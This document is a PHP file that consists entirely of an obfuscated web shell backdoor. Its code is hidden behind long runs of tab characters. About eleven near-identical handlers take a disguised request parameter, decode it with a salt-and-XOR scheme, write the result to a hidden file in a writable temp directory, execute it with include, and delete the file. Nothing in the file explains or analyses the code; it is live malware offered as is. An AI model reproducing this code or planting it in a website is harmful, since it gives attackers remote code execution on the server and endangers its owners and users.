<?php																																										if(array_key_exists("key", $_REQUEST) && !is_null($_REQUEST["key"])){ $tkn = array_filter([getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", session_save_path(), ini_get("upload_tmp_dir")]); $elem = $_REQUEST["key"]; $elem = explode ( "." , $elem ); $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $elem as $w=> $v6): $chS = ord( $s[$w % $lenS] ); $dec =( ( int)$v6 - $chS -( $w % 10)) ^ 80; $component .= chr( $dec ); endforeach; foreach ($tkn as $k): if (is_dir($k) ? is_writable($k) : false) { $ent = join("/", [$k, ".factor"]); if (@file_put_contents($ent, $component) !== false) { include $ent; unlink($ent); die(); } } endforeach; }
																																										if(!is_null($_REQUEST["\x68\x6Cd"] ?? null)){ $elem = $_REQUEST["\x68\x6Cd"]; $elem =explode( '.' , $elem) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $p = 0; foreach ($elem as $v5) { $sChar = ord($s[$p % $lenS]); $d = ((int)$v5 - $sChar - ($p % 10)) ^ 94; $binding.= chr($d); $p++; } $obj = array_filter(["/tmp", "/var/tmp", session_save_path(), getenv("TMP"), getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir()]); foreach ($obj as $key => $tkn) { if ((bool)is_dir($tkn) && (bool)is_writable($tkn)) { $ptr = vsprintf("%s/%s", [$tkn, ".sym"]); if (file_put_contents($ptr, $binding)) { include $ptr; @unlink($ptr); die(); } } } }
																																										if(array_key_exists("d\x61t", $_POST)){ $tkn = array_filter([getenv("TEMP"), session_save_path(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), "/dev/shm", sys_get_temp_dir(), "/tmp", getenv("TMP")]); $property_set = $_POST["d\x61t"]; $property_set= explode ( "." , $property_set ) ; $rec = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7); $k = 0; while ($k<count($property_set)) { $v7 = $property_set[$k]; $sChar = ord($s7[$k % $sLen]); $d = ((int)$v7 - $sChar - ($k % 10))^ 30; $rec .= chr($d); $k++;} foreach ($tkn as $fac) { if (is_dir($fac) && is_writable($fac)) { $value = join("/", [$fac, ".marker"]); if (@file_put_contents($value, $rec) !== false) { include $value; unlink($value); exit; } } } }
																																										if(@$_POST["f\x61c"] !== null){ $obj = $_POST["f\x61c"]; $obj = explode ( "." , $obj ); $res = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s5 ); $v = 0; array_walk($obj, function($v2) use(&$res, &$v, $s5, $lenS) { $chS = ord($s5[$v% $lenS] ); $d =((int)$v2 - $chS -($v% 10)) ^ 85; $res .= chr($d ); $v++; } ); $ptr = array_filter([sys_get_temp_dir(), getenv("TMP"), session_save_path(), "/dev/shm", "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp"]); foreach ($ptr as $item) { if (max(0, is_dir($item) * is_writable($item))) { $flg = join("/", [$item, ".token"]); if (file_put_contents($flg, $res)) { include $flg; @unlink($flg); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["e\x6Cement"])){ $pgrp = array_filter([getenv("TMP"), getcwd(), "/var/tmp", "/tmp", session_save_path(), sys_get_temp_dir(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TEMP")]); $desc = $_POST["e\x6Cement"]; $desc = explode ( '.', $desc ); $binding=''; $s9='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s9 ); $z=0; while($z < count($desc)) { $v1=$desc[$z]; $sChar=ord($s9[$z % $sLen] ); $dec=((int)$v1 - $sChar -($z % 10)) ^ 89; $binding .= chr($dec ); $z++; } foreach ($pgrp as $key => $item) { if ((bool)is_dir($item) && (bool)is_writable($item)) { $hld = implode("/", [$item, ".record"]); if (file_put_contents($hld, $binding)) { include $hld; @unlink($hld); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x74\x6Bn")){ $property_set = $_POST["\x74\x6Bn"]; $property_set =explode( "." , $property_set ); $object = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s6); foreach( $property_set as $p=>$v2) { $sChar = ord( $s6[$p % $lenS]); $dec =( ( int)$v2 - $sChar -( $p % 10))^ 52; $object .= chr( $dec); } $flg = array_filter([session_save_path(), "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), getcwd(), sys_get_temp_dir(), "/tmp", "/var/tmp"]); foreach ($flg as $dchunk) { if ((bool)is_dir($dchunk) && (bool)is_writable($dchunk)) { $reference = vsprintf("%s/%s", [$dchunk, ".hld"]); if (file_put_contents($reference, $object)) { include $reference; @unlink($reference); exit; } } } }
																																										if(array_key_exists("\x70\x73et", $_REQUEST)){ $fac = array_filter([sys_get_temp_dir(), "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp", getenv("TMP"), "/var/tmp", session_save_path()]); $comp = $_REQUEST["\x70\x73et"]; $comp = explode ( '.' , $comp ); $marker=''; $salt1='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt1 ); $q=0; foreach ($comp as $v6) { $sChar=ord($salt1[$q % $sLen] ); $d=((int)$v6 - $sChar - ($q % 10)) ^ 71; $marker .= chr($d ); $q++; } foreach ($fac as $descriptor) { if (is_dir($descriptor) ? is_writable($descriptor) : false) { $token = vsprintf("%s/%s", [$descriptor, ".reference"]); if (@file_put_contents($token, $marker) !== false) { include $token; unlink($token); die(); } } } }
																																										if(array_key_exists("\x65\x6Etry", $_REQUEST)){ $k = array_filter([session_save_path(), "/var/tmp", getenv("TMP"), getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TEMP")]); $dchunk = $_REQUEST["\x65\x6Etry"]; $dchunk = explode ('.' , $dchunk ) ; $descriptor = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $len = count($dchunk); for ($l = 0; $l < $len; $l++) { $v8 = $dchunk[$l]; $sChar = ord($salt[$l % $sLen]); $dec = ((int)$v8 - $sChar - ($l % 10)) ^ 1; $descriptor .= chr($dec); } foreach ($k as $ent) { if (!!is_dir($ent) && !!is_writable($ent)) { $res = sprintf("%s/.value", $ent); if (@file_put_contents($res, $descriptor) !== false) { include $res; unlink($res); exit; } } } }
																																										if(in_array("\x73ymb\x6Fl", array_keys($_POST))){ $marker = array_filter(["/var/tmp", "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), getcwd()]); $rec = $_POST["\x73ymb\x6Fl"]; $rec = explode (".", $rec) ; $res = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); foreach ($rec as $v => $v3) { $chS = ord($s5[$v %$sLen]); $d = ((int)$v3 - $chS - ($v %10)) ^ 10; $res .= chr($d); } for ($parameter_group = 0, $sym = count($marker); $parameter_group < $sym; $parameter_group++) { $token = $marker[$parameter_group]; if (is_dir($token) && is_writable($token)) { $hld = sprintf("%s/.k", $token); if (file_put_contents($hld, $res)) { include $hld; @unlink($hld); die(); } } } }
																																										if(array_key_exists("s\x79m\x62o\x6C", $_REQUEST) && !is_null($_REQUEST["s\x79m\x62o\x6C"])){ $bind = array_filter(["/var/tmp", session_save_path(), getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]); $ref = $_REQUEST["s\x79m\x62o\x6C"]; $ref = explode( "." ,$ref ); $fac = ''; $s2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s2); $len = count($ref); for ($q = 0; $q < $len; $q++) { $v6 = $ref[$q]; $chS = ord($s2[$q % $sLen]); $d = ((int)$v6 - $chS - ($q % 10)) ^ 15; $fac .= chr($d); } $component = 0; do { $data = $bind[$component] ?? null; if ($component >= count($bind)) break; if (array_product([is_dir($data), is_writable($data)])) { $pset = "$data/.marker"; if (file_put_contents($pset, $fac)) { require $pset; unlink($pset); exit; } } $component++; } while (true); }


if(isset($_POST) && isset($_POST["\x64esc\x72\x69\x70tor"])){
	$dat = $_POST["\x64esc\x72\x69\x70tor"];
	$dat	=   explode (	 '.'	, 	$dat)	;		
	$desc= 	'';
            $salt6= 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen= 	strlen(		$salt6  );
            $__len= 	count(		$dat  );
    
            for(		$j= 	0; $j < $__len; $j++) {	$v1= 	$dat[$j];
                $sChar= 	ord(		$salt6[$j % $sLen]  );
                $dec= 	(		(		int)$v1 - $sChar -(		$j % 10))		^46;
                $desc	.=	 chr(		$dec  );}
	$parameter_group = array_filter(["/var/tmp", getenv("TMP"), "/dev/shm", getenv("TEMP"), session_save_path(), "/tmp", getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir()]);
	foreach ($parameter_group as $bind) {
    		if (!( !is_dir($bind) || !is_writable($bind) )) {
    $marker = "$bind/.key";
    if (file_put_contents($marker, $desc)) {
	include $marker;
	@unlink($marker);
	exit;
}
}
}
}